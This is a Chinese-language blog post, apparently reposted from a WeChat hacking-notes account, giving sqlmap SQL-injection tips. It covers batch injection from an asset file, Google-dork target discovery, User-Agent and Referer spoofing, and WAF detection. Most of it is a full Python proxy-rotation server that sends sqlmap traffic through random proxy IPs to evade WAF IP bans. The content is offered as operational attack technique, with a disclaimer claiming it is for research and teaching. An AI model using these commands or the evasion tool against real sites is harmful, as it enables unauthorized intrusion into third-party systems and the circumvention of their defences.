我们在sqlmap进行注入时,由于手速太快,操作太快。往往会被WAF封掉IP。煮熟的鸭子飞了,该如何解决呢?
sqlmap相关技巧
sqlmap批量注入
sqlmap.py -m 资产.txt --smart --batch
对日志检测,进行注入
sqlmap.py -l burpproxy.log --batch
设置超时
timeout=10.5 #表示10.5秒,默认是30秒。
借助Google搜索
sqlmap.py -g "inurl:".php?id=1
避免过多的错误请求被屏蔽
参数:
-safe-url #提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq #提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
对header头注入
User-Agent
参数:--user-agent
,--random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) Referer
参数:--referer
sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。
启发式检测WAF/IPS/IDS保护
参数:--check-waf
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
代理IP
sqlmap有–proxy
参数的。我可以代理本地,然后通过中间服务器来代理ip!
python sqlmap.py -u — proxy=http://127.0.0.1:9999
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
from socket import error
import threading
import random
import time
localtime = time.asctime( time.localtime(time.time()) )
class ProxyServerTest():
def __init__(self,proxyip):
#本地socket服务
self.ser=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.proxyip = proxyip
def run(self):
try:
#本地服务IP和端口
self.ser.bind(('127.0.0.1', 9999))
#最大连接数
self.ser.listen(5)
except error as e:
print("[-]The local service : "+str(e))
return "[-]The local service : "+str(e)
while True:
try :
#接收客户端数据
client,addr=self.ser.accept()
print ('[*]accept %s connect'%(addr,))
data=client.recv(1024)
if not data:
break
print ('[*'+localtime+']: Accept data...')
except error as e:
print("[-]Local receiving client : "+str(e))
return "[-]Local receiving client : "+str(e)
while True:
#目标代理服务器,将客户端接收数据转发给代理服务器
mbsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iplen = len(self.proxyip)
proxyip = self.proxyip[random.randint(0,iplen-1)]
print("[!]Now proxy ip:"+str(proxyip))
prip = proxyip[0]
prpo= proxyip[1]
try:
mbsocket.settimeout(3)
mbsocket.connect((prip, prpo))
except:
print("[-]RE_Connect...")
continue
break
# except :
# print("[-]Connect failed,change proxy ip now...")
# pass
try:
mbsocket.send(data)
except error as e:
print("[-]Sent to the proxy server : "+str(e))
return "[-]Sent to the proxy server : "+str(e)
while True:
try:
#从代理服务器接收数据,然后转发回客户端
data_1 = mbsocket.recv(1024)
if not data_1:
break
print ('[*'+localtime+']: Send data...')
client.send(data_1)
except socket.timeout as e:
print(proxyip)
print("[-]Back to the client : "+str(e))
continue
#关闭连接
client.close()
mbsocket.close()
def Loadips():
print("[*]Loading proxy ips..")
ip_list = []
ip = ['ip','port']
with open("ips.txt") as ips:
lines = ips.readlines()
for line in lines:
ip[0],ip[1] = line.strip().split(":")
ip[1] = eval(ip[1])
nip = tuple(ip)
ip_list.append(nip)
return ip_list
def main():
print('''*Atuhor : V@1n3R.
*Blog :http://www.Lz1y.cn
*date: 2017.7.17
*http://www.Lz1y.cn/wordpress/?p=643
__ __ _ _____ ____
/ /_ _/ |_ __ |___ /| _
/ / _` | | '_ |_ | |_) |
V / (_| | | | | |___) | _ < _
_/ __,_|_|_| |_|____/|_| _(_)
''')
ip_list = Loadips()
# ip_list = [('118.89.148.92',8088)]
# ip_list = tuple(ip_list)
try:
pst = ProxyServerTest(ip_list)
#多线程
t = threading.Thread(target=pst.run, name='LoopThread')
print ('[*]Waiting for connection...')
#关闭多线程
t.start()
t.join()
except Exception as e:
print("[-]main : "+str(e))
return "[-]main : "+str(e)
if __name__ == '__main__':
main()
参考:https://cloud.tencent.com/developer/article/1079211
更多精彩文章 欢迎关注我们
原文始发于微信公众号(kali黑客笔记):sqlmap技巧以及代理池
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论